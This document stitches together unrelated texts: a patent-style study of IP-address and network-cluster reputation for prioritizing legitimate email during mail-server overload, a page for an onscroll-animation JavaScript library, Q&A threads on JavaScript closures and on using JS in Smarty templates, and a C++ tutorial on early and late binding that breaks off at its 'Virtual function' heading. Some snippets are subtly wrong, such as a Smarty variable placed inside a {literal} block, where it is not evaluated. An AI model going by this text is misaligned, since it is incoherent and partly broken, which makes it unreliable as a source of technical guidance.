It should be understood that since the goal is to maximize legitimate mail during overload, the priorities resulting from the selection process are different from regular spam-filtering. Spam filtering methods attempt to identify all spam. The approach here only requires identification of a significant portion of spam. Thus the selection process used here is much less demanding, and therefore less costly, than most spam filtering programs.
Likewise, if the selection process is aimed at identifying legitimate emails that selection may be inexact also. The precision of the two selection approaches can be expressed in general as:
• 1. Identify SOME of the spam email, or
• 2. Identify ALL of the legitimate email, but since this identification can include SOME of the spam email, the selection need not be exact.
To implement the inexact selection processes just mentioned, past historical behavior of IP addresses that send email is used to predict the likelihood of an incoming email being legitimate or spam, and of using IP-address reputations to drive the selective drop policy. This is referred to as “reputation”. The advantages of an IP-address reputation based filtering scheme are the ease of which the information can be collected, and the difficulty a spammer faces to hide the IP address of the zombie or open mail relay s/he utilizes. Obviously, using the IP address for classification is substantially cheaper then any content-based scheme. In fact, IP address based prioritization can even be implemented on modern routers or switches and can therefore be used to offload the processing of rejected senders from the mail server entirely. Further, IP based classification can be quite accurate, as demonstrated below. Consider that “good” mail servers, which are mail servers that try to actively block outgoing spam, typically belong to large organizations or ISPs, and rarely switch their IP address. On the other hand spammers mainly rely on botnets as well as poorly managed mail servers to relay their spam. Therefore, their IP addresses change more frequently, but stay within the IP prefix ranges. In some cases, these IP prefixes can be used as markers for compromised or poorly managed hosts. This leads to the hypothesis that good mail servers are mostly good and stay mostly good for a long time, and that bad prefixes send mainly spam and stay bad for a long time. If this hypothesis holds, the properties of both legitimate mail and spam can be used prioritize legitimate mail as needed.
To verify useful selection processes, an extensive measurement study was performed to understand IP-based properties of legitimate mail and spam. With that data a simulation study was performed to evaluate how these properties can be used to prioritize legitimate mail when the mail server is overloaded. It was demonstrated that a suitable reputation-based policy has a potential performance improvement factor of 3 over the state-of-the-art, in terms of amount of legitimate mail accepted.
While a very significant quantity of spam comes from IP addresses that are ephemeral, a significant of the legitimate mail volume comes from IP addresses that last for a long time. This suggests that using the history of good IP addresses—IP addresses that send a lot of legitimate mail—can be used as a mechanism for prioritizing mail in spam mitigation. Such an approach would be complementary to the usual blacklisting approaches.
The analysis performed also explored so-called network-aware clusters as candidates that may exploit structure in the IP addresses. Results suggest that IP addresses responsible for the bulk of the spam are well-clustered. Clusters responsible for the bulk of the spam are very long-lived. This suggests that network-aware clusters may be used in place of individual IP addresses as a reputation scheme to identify spammers, many of whom are ephemeral. The cluster reputation selection process, while theoretically less exact than the IP address reputation process, is potentially easier and less expensive to implement.
Since spam is so pervasive, much effort has been expended in mitigating spam, and understanding the characteristics of spammers. Traditionally, the two primary approaches to spam mitigation have used content-based spam-filtering and DNS blacklists. Content-based spam-filtering software is typically applied at the end of the mail processing queue, and there has been a lot of research in content-based analysis, and understanding its limits. Content-based analysis has been proposed to rate-limit spam at the router. However, content-based analysis is expensive to implement, and in some cases raises privacy concerns. The invention described here does not consider content of mail, but rather focuses on the history and structure of the IP address.
DNS blacklists are another popular way to reduce spam. Studies on DNS blacklisting have shown that over 90% of the spamming IP addresses were present in at least one blacklist at their time of appearance. The invention described here involves selection that is complementary to blacklisting. The focus is to develop a whitelist of legitimate mail, typically using a reputation mechanism. Yet another approach to spam identification is a greylist process that delays incoming emails if recent emails from a mail server have been identified as spam, or if no history for a given mail server exists. In contrast, the selection methods recommended for use with the invention provide a more detailed analysis of how predictable the spam behavior of a mail server identified by an IP address is, using more up-to-date data. In some embodiments, the identification of good and bad mail servers is extended to clusters of IP addresses, and a continuum rather than a binary decision is used to accept or reject incoming mail.
Data developed for the analysis consists of traces from the mail server of a large company serving one of the corporate locations with approximately 700 mailboxes taken over a period of 166 days from January to June 2006. The location runs a PostFix mail server with extensive logging that records the following: (a) every attempted SMTP connection, with its IP address and time stamp (b) whether the connection was rejected, along with a reason for rejection, (c) whether the connection was accepted, results of the mail server's customized spam-filtering checks, and if accepted for delivery, the results of running SpamAssassin™.
FIG. 1 shows a daily summary of the data for six months. It shows four quantities each day: (a) the number of SMTP connection requests made (including those that are denied via blacklists), (b) the amount of mail received by the mail server, (c) the number of e-mails that were sent to SpamAssassin, and (d) the number of e-mails deemed legitimate by SpamAssassin. The relative sizes of these four quantities every day illustrates the scope of the problem: the spam is 20 times larger than the legitimate mail received. (In our data set, there were 1.4 million legitimate messages and 27 million spam messages.) Such a sharp imbalance indicates the possibility of a significant impact for applications like rate-limiting under server overload: if there is a way to prioritize legitimate mail, the server can handle it much more quickly, because the volume of legitimate mail is tiny in comparison to spam. In the analysis that follows, every message that is considered legitimate by SpamAssassin is counted as a legitimate message; every message that is considered spam by SpamAssassin, the mail server's spam filtering checks, or through denial by a blacklist is counted as spam.
The behavior of individual IP addresses that send legitimate mail and spam can be analyzed with the goal of uncovering any significant differences in behavior patterns. The analysis focuses on the IP spam-ratio of an IP address, which is defined as the fraction of mail sent by the IP address that is spam. This is a simple, intuitive metric that captures the spamming behavior of an IP address: a low spam-ratio indicates that the IP address sends mostly legitimate mail; a high spam-ratio indicate that the IP address sends mostly spam. The goal is to see whether the historical communication behavior of IP addresses with similar spam-ratios yields clues to sufficiently distinguish between IP addresses of legitimate senders and spammers. As indicated earlier, the distinction between the legitimate senders and spammers need not be perfect; even with partially correct classification, benefit can be gained. For example, when all the mail cannot be accepted, a partial distinction would still help in increasing the amount of legitimate mail that is received. In the IP-based analysis, the following is addressed:
• Distribution by IP Spam Ratio: What is the distribution of the number of IP addresses by their spam-ratio, and what fraction of legitimate mail and spam is contributed by IP addresses with different spam-ratios?
• Persistence: Are IP addresses with low/high spam-ratios present in many days? If they are, do such IP addresses contribute to a significant fraction of the legitimate mail/spam?
• Temporal Spam-Ratio Stability: Do many of the IP addresses that appear to be good on average fluctuate between having very low and very high spam-ratios?
The answers to these three questions, taken together, gives an indication of the benefit derived in using the history of IP address behavior for the selection process used in the invention.
Most IP addresses have a spam-ratio of 0% or 100% , but a significant amount of legitimate mail will come from IP addresses with spam-ratio exceeding zero. It is demonstrated below that a very significant fraction of the legitimate mail comes from IP addresses that persist for a long time, but only a small fraction of the spam comes from IP addresses that persist for a long time. It is also demonstrated below that most IP addresses have a very high temporal ratio-stability—they do not fluctuate between exhibiting a very low or very high spam ratio every day. Together, these three observations suggest that identifying IP addresses with low spam ratios that regularly send legitimate mail is useful in spam mitigation and prioritizing legitimate mail.
To understand how IP-based filtering using spam ratio is useful and what kind of impact it has, the distribution of IP addresses and their associated mail volumes are studied as a function of the IP spam-ratios. Intuitively, we expect that most IP addresses either send mostly legitimate mail, or mostly spam, and that most of the legitimate mail and spam comes from these IP addresses. If this hypothesis holds, then for spam mitigation it will be sufficient if the IP addresses are identified as senders of legitimate mail or spammers. To test this hypothesis, the following two empirical distributions are identified: (a) the distribution of IP addresses as a function of the spam ratios, and (b) the distribution of legitimate mail/spam as a function of the spam ratio of the respective IP addresses. The first experiment shows that most IP addresses are present at either ends of the spectrum of spam ratios, but the second experiment shows that the distribution of legitimate mail volume is not as focused at the ends of the spectrum. The spam-ratio computed over a short time period is studied to understand the behavior of IP addresses, without being affected by their possible fluctuations in time. The analysis is for intervals of a day to cover possible time-of-day variations.
FIG. 2 depicts, for a large number of randomly selected days across the observation period, the daily empirical cumulative distribution function (CDF) of the spam ratios of individual IPs that sent some email to the server on that day. This shows that for nearly six months, on any particular day, (i) most IP addresses send either mostly spam or mostly legitimate mail. (ii) Fewer than 1-2% of the active IP addresses have a spam-ratio of between 1%-99% , ie., there are very few IP addresses that send a non-trivial fraction of both spam and legitimate mail. (iii) the vast majority (nearly 90% ) of the IP addresses on any given day generate almost exclusively spam, having spam-ratios between 99%-100%.
The above indicates that identifying IP addresses with low or high spam-ratios can identify most of the legitimate senders and spammers.
For some applications, it would also be valuable to identify the IP addresses that send the bulk of the spam or the bulk of the legitimate mail. An example is the server overload problem, where the goal is to accept as much of the legitimate mail volume as possible. The distribution of the daily legitimate mail or spam volumes as a function of the IP spam-ratios are identified. IP addresses that have a spam-ratio of at most k are categorized as set Ik. FIG. 3 shows how the volume of legitimate mail sent by the set Ik depends on the spam-ratio k. Specifically, let Li(k) and Si(k)be the fractions of the total daily legitimate mail and spam that comes from all IPs in the set Ik, on day i. FIG. 3 plots Li(k)averaged over all the days, along with confidence intervals. FIG. 4 shows the analogous plot for the spam volume Si(k).
These data show that the bulk of the legitimate mail (nearly 70% on average) comes from IP addresses with a very low spam-ratio (k≦5%). However, a modest quantity (over 7% on average) also comes from IP addresses with a high spam-ratio. (k≧80% ). It also shows that almost all (over 99% on average) of the spam sent every day comes from IP addresses with an extremely high spam-ratio (when k≧95% ). indeed the contribution of the IP addresses with a spam-ratios (k≦80% ) is a tiny fraction of the total.
We observe that there is a sharp difference in how the distribution of legitimate mail and spam contributions vary with the spam-ratio k: There are two possible explanations for this more diffused behavior of the legitimate senders. First, spam-filtering software tends to be conservative, allowing some spam to marked as legitimate mail. Second, a lot of legitimate mail tends to come from large mail servers that cannot do perfect outgoing spam-filtering. Together the above results suggest that the IP spam-ratio appears to be a useful discriminating feature for spam mitigation. Specifically, assume a classification function that accepts all IP addresses with a spam-ratio of at most k, and rejects all IP addresses with a higher spam-ratio. Then, if k is set=95% , nearly all of the legitimate mail is accepted, and no more than 1% of the spam. The effectiveness of such a history-based classification function for spam mitigation depends both on the extent to which IP addresses are long lasting, how much of the legitimate email or spam are contributed by the long lasting IP addresses, and to what extent the spam ratio of an IP address varies over time. These effects are examined next.
To understand how IP addresses can be identified as spammers or non-spammers, data is analyzed to determine whether there are legitimate long-term properties that can be exploited to differentiate between them. For example, it can be assumed that many of the IP addresses that send legitimate mail do so consistently, and a significant fraction of the legitimate mail is sent by these IP addresses. For this analysis, the spam ratio of each individual IP address is computed over the entire data set to show behavior over the lifetime of the address. Two properties are shown in this analysis: (i) IP addresses sending a lot of good mail last for a long time (persistence), and (ii) IP addresses sending a lot of good mail tend to have a bounded spam ratio each time they appear (temporal stability). These 2 properties directly influence the effectiveness of using historical reputation information for determining the “spaminess” of emails being sent by an individual IP address.
Due to the community structure inherent in non-spam communication patterns, it seems reasonable that much legitimate mail will originate from IP addresses that appear and re-appear. Studies have also indicated that most of the spam comes from IP addresses that are extremely short-lived. If these hypotheses hold, together they suggest the existence of a potentially significant difference in the behavior of senders of legitimate mail and spammers with respect to persistence.
This premise, and the quantifiable extent to which it holds, may be established by examining the persistence of individual IP addresses. The methodology proposed for understanding the persistence behavior of IP addresses is as follows: consider the set of all IP addresses with a low lifetime spam-ratio, and examine both how much legitimate mail they send, as well as how much of this is sent by IP addresses that are present for a long time. Such an understanding can indicate the potential of using a whitelist-based approach for mitigation in specified situations, like the server overload problem. If, for instance, the bulk of the legitimate mail comes from IP addresses that last for a long time, this property can be used to prioritize legitimate mail from long lasting IP addresses with low spam ratios. For this priority category the following definition is used:
k-good IP address: an IP address whose lifetime spam-ratio is at most k.
• A k-good set is the set of all k-good IP addresses.
Thus, a 20-good set is the set of all IP addresses whose lifetime spam-ratio is no more than 20% . The number of IP addresses present in the k-good set for at least x distinct days is determined, as well as the fraction of legitimate mail contributed by IP addresses in the k-good set that are present in at least x distinct days. FIG. 5 shows the number of IP addresses that appear in at least x distinct days, for several different k, and drops by a factor of 10 to 2000 when x=10. FIG. 6 shows the fraction of the total legitimate mail that originates from IP addresses that are in the k-good set, and appear in at least x days, for each threshold k. Most of the IP addresses in a k-good set are not present very long, and the number of IP addresses falls quickly, especially in the first few days. However the contribution of IP addresses in a k-good set to the legitimate mail drops much more slowly as x increases. The result is that the few longer-lived IPs contribute to most of the legitimate mail from the a k-good set. For example, only 5% of all IP addresses in the 20-good set appear at least 10 distinct days, but they contribute to almost 87% of all legitimate mail for the 20-good set.
FIGS. 6 and 7 indicate that, overall, IP addresses with low lifetime spam ratios (small k) tend to contribute a major portion of the total legitimate email, while only a small fraction of the IP addresses with a low lifetime spam-ratio addresses that appear over many days, constitute a significant portion of the legitimate mail. For instance, IP addresses in the 20-good set contribute 63.5% of the total legitimate mail received. Only 2.1% of those IP addresses are present for at least 30 days, but they contribute to over 50% of the total legitimate mail received.
The graphs also suggest another trend: the longer an IP address lasts, the more stable its contribution to the legitimate mail. For example, 0.09% of the IP addresses in the 20-good set are for at least 60 days, but they contribute to over 40% of the total legitimate mail received. From this it can be inferred that an additional 1.2% of IP addresses in the 20-good set were present for 30-59 days, but they contributed only 10% of the total legitimate mail received.
FIGS. 7 and 8 present a similar analysis of persistence for IP addresses with a high lifetime spam-ratio. These are “bad” IP addresses and are defined as:
• k-bad IP address: A k-bad IP address is an IP address that has a lifetime spam-ratio of at least k. A k-bad set is the set of all k-bad IP addresses.
FIG. 7 presents the number of IP addresses in the k-bad set that are present in at least x days, and FIG. 8 presents the fraction of the total spam sent by IP addresses in the k-bad set that are present in least x days.
FIGS. 7 and 8 show that, overall, IP addresses with high lifetime spam ratios (large k) tend to contribute almost all of the spam, and most of these high spam-rate IPs last only a short time and account for a large proportion of the overall spam. It also shows that the small fraction of these IPs that do last several days still contribute a significant fraction of the overall spam. Only 1.5% of the IP addresses in the 80-bad set appear in at least 10 distinct days, and these contribute 35.4% of the volume of spam from the 80-bad set, and 34% of the total spam. The difference is more pronounced for 100-bad IP addresses: 2% of the 100-bad IP addresses last for 10 distinct days, and contribute 25% of the total spam volume. As in the case of the k-good IP addresses, the volume of spam coming from the k-bad IP addresses tends to get more stable with time. The above results have an implication for the design of spam filters, especially for applications where the goal is to prioritize legitimate mail, rather than discard the spam. While the spamming IP addresses that are persistent can be blacklisted, the scope of a purely blacklisting approach is limited. On the other hand, a very significant fraction of the legitimate mail can be prioritized using the sender history of the legitimate mail.
The IP addresses in the k-good set can also be analyzed for temporal stability, i.e. is an IP address that appears in a k-good set (for small values of k) likely to have a high spam-ratio? The focus in this analysis is on k-good IP addresses; the results for the k-bad IP addresses are similar.
For each IP address in a k-good set, how often does the daily spam-ratio exceed k (normalized by the number of appearances). This quantity is defined as the frequency-fraction excess. The CDF of the frequency-fraction excess of all IP addresses in the k-good set is plotted. Intuitively, the distribution of the frequency-fraction excess is a measure of how many IP addresses in the k-good set exceed k, and how often.
FIG. 9 shows the CDF of the frequency-fraction excess for several k-good sets. It shows that the majority of the IP addresses in each k-good set have a frequency-fraction excess of 0, and that 95% have a frequency fraction excess of at most 0.1. To understand the implication of this to the temporal stability of IP addresses, the k-good set for k=20 is analyzed. This is the set of IP addresses with a lifetime spam-ratio bounded by 20% . Note that the frequency-fraction excess of 0 for 95% of the IP addresses implies that 95% of IP addresses in this k-good set do not send more than 20% spam any day. Note that 4.75% of the IP addresses in this k-good set have a frequency-fraction excess between 0-20%, which implies that for 80% of their appearances, 99.75% IP addresses have a daily spam ratio bounded by k=20% .
FIG. 9 shows that for many k-good sets with small k-values, only a few IP addresses have a significant frequency-fraction excess. This implies that most IP addresses in each set do not exceed the value k. Since they would need to exceed k often to significantly change their spamming behavior, it follows that most IP addresses in the k-good set do not change spamming behavior significantly. In addition, the frequency-fraction excess is a strict measure, since it increases that even when k is exceeded slightly. Similarly, the measure that increases only when k is exceeded by 5% is computed. No more than 0.01% of IP address in the k-good set exceed k by 5%. Since the metric here is the temporal stability of IP addresses that last a long time, the frequency fraction-excess distribution for IP addresses that last 10, 20, 40 and 60 days is analyzed. In each case, almost no IP address exceeds k by 5% .
The conclusion from this is that of the IP addresses present in the 20-good set, fewer than 0.01% have a daily spam-ratio exceeding 25% on any day throughout their lifetime. Fewer than 1% of them have a daily spam-ratio exceeding 20% for more than one-tenth of their appearances. Thus most IP addresses in k-good sets do not fluctuate significantly in their spamming behavior; and most that appear to be good on an average are good every individual day as well. This result allows an analysis of the behavior of k-good sets of IP addresses, constructed over their entire lifetimes, and use of that analysis to understand implications to the behavior in the daily time intervals.
The analysis of these three properties of IP addresses indicates that a significant fraction of the legitimate mail comes from IP addresses that persistently appear in the traffic. These IP addresses tend to exhibit very stable behavior: they do not fluctuate significantly between sending spam and legitimate mail. However, there is still a significant portion of the mail that cannot be accounted for through the use of IP addresses only. These results lend weight to the hypothesis that spam mitigation efforts can benefit non-trivially by preferentially allocating resources to the stable and persistent senders of legitimate mail.
A limitation of reputation schemes based on historical behavior of individual IP addresses is that while they are able to discern IPs that appeared in the past, they may not be very useful in distinguishing between newcomer legitimate senders of spam or legitimate emails. To address this issue, the data can be analyzed to determine if there are coarser aggregations, other than individual IP addresses, that might exhibit more persistence, and afford more effective discrimination power for spam mitigation. The premise is that for IP addresses with little or no past history, their current reputation can be derived based on the historical reputation of the aggregation they belong to.
To implement this, network-aware clusters of IP addresses are used. Network-aware clusters are a set of unique network IP prefixes collected from a wide set of Border Gateway Protocol (BGP) routing table snapshots. An IP address belongs to a network-aware cluster if a prefix matches the prefix associated with the cluster. The motivation behind using network-aware clustering is that clusters represent IP addresses that are close in terms of network topology and, with high probability, represent regions of the IP space that are under the same administrative control and share similar security and spam policies. Thus they provide a mechanism for reputation-based classification of IP addresses.
Analysis similar to that described above indicates that cluster spam-ratio is useful as an approximation of the IP spam-ratio described above. FIG. 10 shows how the volume of spam sent by IP addresses with a cluster or IP spam-ratio of at most k varies with k. Specifically, let C Si(k) and ISi(k) be the fraction of spam sent by the IP addresses with a cluster spam ratio (respectively IP spam ratio) of at most k on day i. FIG. 10 plots (i) C Si(k)and ISi(k) averaged over all the days in the data set, as a function of k, along with confidence intervals.
These data show that almost all (over 95%) of the spam every day comes from IPs in clusters with a very high cluster spam-ratio (over 90%). A similar fraction (over 99% on average). of the spam every day comes from IP addresses with a very high IP spam-ratio (over 90%). This suggests that spammers responsible for a high volume of the total spam may be closely correlated with the clusters that have a very high spam-ratio. The graph indicates that if we use a spam ratio threshold of k≦90% for spam mitigation, using the IP spam-ratio rather than their cluster spam-ratio as the discriminating feature, would identify less than 2% additional spam. This suggests that cluster spam-ratios are a good approximation to IP spam-ratios for identifying the bulk of spam sent.
Analogous to the earlier spam study, the distribution of legitimate mail according to cluster spam-ratios is considered. This is compared with IP spam-ratios in FIG. 11. Let C Li(k) and ILi(k) be the fraction of legitimate mail sent by IPs with a cluster spam-ratio and IP spam ratio respectively, of at most k. FIG. 11 plots C Li(k) and ILi(k) averaged over all the days in the data set, as a function of k, along with confidence intervals. FIG. 11 shows that a significant amount of legitimate mail is contributed by clusters with both low and high spam-ratios. A significant fraction of the legitimate mail (around 45% on average) comes from IP addresses with a low cluster spam-ratio (k≦20% ). However, a much larger fraction of the legitimate mail (around 70% , on average) originates from IP addresses with a similarly low IP spam-ratio.
These data reveal that with spam-ratios as high as 30-40%, the cluster spam-ratios only distinguish, on average, around 50% of the legitimate mail. By contrast, IP spam-ratios can distinguish as much as 70%. This suggests that IP addresses responsible for the bulk of legitimate mail are less correlated with clusters of low spam-ratio. However, FIG. 11 suggests that, if the threshold is set to 90% or higher, a relatively small penalty is incurred in both legitimate mail acceptance and spam.
However, there are two additional considerations. First, the bulk of the legitimate email comes from persistent k-good IP addresses. This suggests that more legitimate email can be identified by considering the persistent k-good IP addresses, in combination with cluster-level information. Second, for some applications, the correlation between high cluster spam-ratios and the bulk of the spam may be sufficient to justify using cluster-level analysis. For example, under the existing distribution of spam and legitimate mail, using a high cluster spam-ratio threshold would be sufficient to reduce the total volume of the mail accepted by the mail server. This has general implications for the server overload problem.
Similar to the study of IP addresses, persistence is also a useful means for evaluating network-aware clusters. A cluster is considered to be present on a given day if at least one IP address that belongs to that cluster appears that day. Earlier results showed that clusters were at least as (and usually more) temporally stable than IP addresses. As in the earlier IP address analysis, k-good and k-bad cluster categories are used, and are based on the lifetime cluster spam-ratio: the ratio of the total spam mail sent by the cluster to the total mail sent by it over its lifetime. These are defined specifically as:
• A k-good cluster is a cluster of IP addresses whose lifetime cluster spam-ratio is at most k. The k-good cluster-set is the set of all k-good clusters.
• A k-bad cluster is a cluster of IP addresses whose lifetime cluster spam-ratio is at least k. The k-bad cluster-set is the set of all k-bad clusters.
FIG. 12 examines the legitimate mail sent by k-good clusters, for small values of k. The k-good clusters, even when k=30% , contribute less than 40% of the total legitimate mail. However, the contribution from long-lived clusters is far more than from long-lived individual IPs. The difference from FIG. 6 is striking; indeed, k-good clusters (for all k) present for at least ten days contribute to almost 100% of total legitimate mail coming from k-good cluster-set. Further, k-good clusters present for at least 60 days contribute to nearly 99% of the legitimate mail from the k-good cluster set. This implies that any cluster accounting for a non-trivial volume of legitimate mail is present for at least 60 days. The legitimate mail volume drops to 90% of the total k-good cluster-set only in the case of clusters present for more than 120 days.
FIG. 13 presents the same analysis for k-bad clusters. Here, there are some striking differences from the k-good clusters. First, the 90-bad cluster-set contributes nearly 95% of the total spam volume. A much larger fraction of spam comes from long-lived clusters than from long-lived IPs (FIG. 8). For example, over 95% of the spam in the 90-bad cluster set is contributed by clusters present for at least 10 days. This is in sharp contrast to the k-bad IP addresses, where only 20% of the total spam volume comes from IP addresses that last 20 or more days. Thus it is demonstrated that long-lived clusters tend to contribute the bulk of both legitimate emails and spam, and that network-aware clustering can be used to address the problem of transience of IP addresses in developing history-based reputations of IP addresses.
Measurements show that senders of legitimate mail demonstrate stability and persistence, while spammers do not. However, the bulk of high volume spammers appears to be clustered within some network-aware clusters that persist very long. Together, this suggests a useful reputation mechanism based on the history of an IP address, and the history of a cluster to which it belongs. However, because mail rejection mechanisms should be conservative, such a reputation-based mechanism is primarily useful for prioritizing legitimate mail, rather than discarding suspected spammers.
An email server has a finite capacity of the number of mails that can be processed in any time interval, and may choose the connections it accepts or rejects. As indicated earlier, the goal of the invention is for the email server to selectively accept connections in order to maximize the legitimate mail accepted.
Email server overload is a significant problem. For example, assume an email server can process 100 emails per second, will start dropping new incoming SMTP connections when its load reaches 100 emails per second, and crashes if the offered load reaches 200 emails per second. Assume also that 20 legitimate emails are received per second. In such a scenario the spammer could increase the load of the mail server to 100% by sending 80 emails per second, all of which would be received by the email server. Alternatively, the spammer could also increase the load to 199% by offering 179 spam email per second, in which case nearly half the requests would not be served.
In summary, it is established above that there are history-based reputation functions that may be used for prioritizing email to address server overload issues. As is evident the target identifications are:
• Identify legitimate email
• Identify spam
Either identification may be derived from the other by subtraction, but the distinction is important since neither identification mechanism is expected to be exact. In the usual case, the nearer to perfection of either identification, the more likely the error. That is, for the case of most reputation functions, the confidence level for the identification category declines as the percentage increases.
In most cases of overload, it is sufficient to identify just enough spam to alleviate the overload condition. This may be done with a relatively high level of confidence. It is then not important if legitimate emails are identified at all.
In making the identification, characteristics of the emails are assessed. These may include:
• IP addresses
• IP clusters
• IP addresses and IP clusters
In each case the characteristic may be evaluated according to:
• email sending rate (emails per unit time)
• persistence
In the preferred embodiment the email queue for the server is processed according to priority of the emails when the server queue reaches X % of server capacity C, where X is a threshold of, for example, 75 or above.
Various additional modifications of this invention will occur to those skilled in the art. All deviations from the specific teachings of this specification that basically rely on the principles and their equivalents through which the art has been advanced are properly considered within the scope of the invention as described and claimed.
|
__label__pos
| 0.923728 |
Developer-friendly On Scroll Animation JavaScript Library
Category: Animation , Javascript | May 7, 2021
Author:johnsonfash
Views Total:149 views
Official Page:Go to website
Last Update:May 7, 2021
License:MIT
Preview:
Developer-friendly On Scroll Animation JavaScript Library
Description:
A modern and developer-friendly, scroll-triggered animation JavaScript library for the web & mobile.
It enables you to animate any elements using custom CSS animations when they come into view.
How to use it:
1. Install and import the module.
# NPM
$ npm i onscroll-animation
import OnScrollAnimation from "onscroll-animation";
2. Or include the bundled JavaScript file on the page.
<script src="/dist/animate.bundle.js"></script>
3. Create a new instance of the OnScrollAnimation and define your own CSS animations for each element as follows:
var animate = new OnScrollAnimation({
".element1": {
parameters: {
animationDuration: "1s",
animationDelay: "2s",
animationFillMode: "forwards",
animationTimeFunction: "ease-in",
pixelCorrection: "-200px",
run: "once",
// more CSS animation properties here
},
to: ["transform: translateX(-150px)"]
},
"element2": {
from: ["left: -600px"],
to: { left: "0px" }
},
".element3": {
from: ["right: -600px"],
to: ["right: 0px"]
},
// more elements here
});
4. Start tracking the scroll event and apply the animations to the elements when they’re scrolled into view.
animate.init();
5. Pass animation parameters globally using the defaultParams method.
animate.defaultParams([
"animation-duration: 1s",
"animation-delay: 2s",
"animation-fill-mode: forwards",
"animation-time-function: ease-in",
"pixel-correction: -200px",
"run: once",
// ...
]);
6. You can also apply custom animations to elements directly using CSS @keyframes.
.custom {
animation: customAnimation 1s forwards;
}
@keyframes customAnimation {
from {
...
}
to {
...
}
}
const animate = new OnScrollAnimation({
".element1": {
css: "custom"
}
});
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Leave a Reply
|
__label__pos
| 0.837727 |
Hammer Hammer - 1 year ago 60
Javascript Question
Javascript Module inheritence
Parent Module,
var Component = function () {
var _componentName;
var _test = 'ts';
return {
getName: function(){
console.log('getName() is called');
console.log(this._componentName);
console.log(_test);
return _componentName;
}
};
};
module.exports = Component;
Child module,
var Component = require('./component');
var Skip_button = function () {
var skipBtn = Component();
skipBtn._componentName = 'Skip_Btn';
return skipBtn;
};
module.exports = Skip_button;
In another place, when I call
var skipBtn = Skip_button();
skipBtn.getName();
if it is
console.log(this._componentName);
in Component, the value can be printed out successfully. However, if it is
console.log(_componentName);
, undefine error will be there. Any idea?
[Update]
Check this out. It works as expected. http://jsfiddle.net/nedvedyy/Lvxqjo9v/1 so the question is still, why it does not work in my original code example above if
console.log(this._componentName);
is changed to
console.log(_componentName);
Answer Source
In Component funtion _componentName and _test are not in the this scope. but however you are setting skipBtn._componentName in the Skip_button function means you are setting _componentName in the this scope. thats why console.log(this._componentName) printing 'Skip_Btn'
var Component = function () {
var _componentName;
var _test = 'ts';
return {
getName: function(){
console.log('getName() is called');
console.log(this._componentName);
console.log(this._test);
return _componentName;
}
};
};
var Skip_button = function () {
var skipBtn = Component();
skipBtn._componentName = 'Skip_Btn';
return skipBtn ;
};
var skipBtn = Skip_button();
skipBtn.getName();
If you run the above script this._test will print 'undefined' becuase _test is not in the this scope.
var Component = function () {
var _componentName = 'test';
var _test = 'ts';
return {
getName: function(){
console.log('getName() is called');
console.log(_componentName);
console.log(_test);
return _componentName;
}
};
};
var Skip_button = function () {
var skipBtn = Component();
skipBtn._componentName = 'Skip_Btn';
return skipBtn ;
};
var skipBtn = Skip_button();
skipBtn.getName();
If you run the above code, console.log(_componentName) will print 'test' becasue it has some value
|
__label__pos
| 0.998619 |
How to use a JS file in a Smarty template?
by beatrice.lesch , in category: PHP , a year ago
How to use a JS file in a Smarty template?
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2 answers
by madisen.leannon , a year ago
@beatrice.lesch
To use a JavaScript (JS) file in a Smarty template, you can follow these steps:
1. Save your JavaScript file in a location accessible to your web application.
2. In your Smarty template, add a <script> tag to include the JavaScript file. You can do this in the <head> section of your template, for example:
1
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<head>
<script src="path/to/your/javascript/file.js"></script>
</head>
1. If your JavaScript code relies on Smarty variables or functions, you can pass them to your JavaScript code by assigning them to global JavaScript variables in your Smarty template. For example:
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3
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5
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<head>
<script src="path/to/your/javascript/file.js"></script>
<script>
var mySmartyVariable = "{$smartyVariable}";
</script>
</head>
In the above example, {$smartyVariable} is a Smarty variable that is assigned to a global JavaScript variable mySmartyVariable.
1. You can then use the global JavaScript variable in your JavaScript code as needed. For example:
1
alert(mySmartyVariable);
This will display the value of the mySmartyVariable variable in an alert box.
Note that it's generally considered good practice to include JavaScript files at the end of your HTML code (just before the closing </body> tag), to ensure that the page content is loaded before any scripts.
Member
by viviane , 4 months ago
@beatrice.lesch
You can also use the {literal} tag in Smarty templates to prevent any conflicts with curly braces and special characters that may be present in your JavaScript code. Here's an example of how you can incorporate the {literal} tag when including a JavaScript file in your Smarty template:
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3
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5
<head>
{literal}
<script src="path/to/your/javascript/file.js"></script>
{/literal}
</head>
Including the {literal} tag ensures that the content within it will be treated as raw text and not interpreted as Smarty tags. This can be particularly useful when you have a significant amount of JavaScript code that you want to include without Smarty interpretation.
Additionally, you can use Smarty variables directly in your JavaScript code by using the $smarty object inside the {literal} block. Here's an example:
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{literal}
<script>
var mySmartyVariable = {$smarty->getVariable('smartyVariable')->value};
console.log(mySmartyVariable);
</script>
{/literal}
In this example, the getVariable method of the $smarty object is used to retrieve the value of the Smarty variable smartyVariable and assign it to a JavaScript variable mySmartyVariable.
By combining these techniques, you can effectively include and work with JavaScript files in your Smarty templates while ensuring proper handling of Smarty variables and syntax.
|
__label__pos
| 0.99831 |
logo codesdope
Virtual and abstract
Before going to virtual function, let's first have a look at early binding and late binding.
Binding means matching the function call with the correct function definition by the compiler. It takes place either at compile time or at runtime.
Early Binding
In early binding, the compiler matches the function call with the correct function definition at compile time. It is also known as Static Binding or Compile-time Binding. By default, the compiler goes to the function definition which has been called during compile time. So, all the function calls you have studied till now are due to early binding.
You have learned about function overriding in which the base and derived classes have functions with the same name, parameters and return type. In that case also, early binding takes place.
In function overriding, we called the function with the objects of the classes. Now let's try to write the same example but this time calling the functions with the pointer to the base class i.e., refernce to the base class' object.
#include <iostream>
using namespace std;
class Animals
{
public:
void sound()
{
cout << "This is parent class" << endl;
}
};
class Dogs : public Animals
{
public:
void sound()
{
cout << "Dogs bark" << endl;
}
};
int main()
{
Animals *a;
Dogs d;
a= &d;
a -> sound(); // early binding
return 0;
}
Output
This is parent class
Now in this example, we created a pointer a to the parent class Animals. Then by writing a= &d , the pointer 'a' started referring to the object d of the class Dogs.
a -> sound(); - On calling the function sound() which is present in both the classes by the pointer 'a', the function of the parent class got called, even if the pointer is referring to the object of the class Dogs.
This is due to Early Binding. We know that a is a pointer of the parent class referring to the object of the child class. Since early binding takes place at compile-time, therefore when the compiler saw that a is a pointer of the parent class, it matched the call with the 'sound()' function of the parent class without considering which object the pointer is referring to.
Late Binding
In the case of late binding, the compiler matches the function call with the correct function definition at runtime. It is also known as Dynamic Binding or Runtime Binding.
In late binding, the compiler identifies the type of object at runtime and then matches the function call with the correct function definition.
By default, early binding takes place. So if by any means we tell the compiler to perform late binding, then the problem in the previous example can be solved.
This can be achieved by declaring a virtual function.
Virtual function
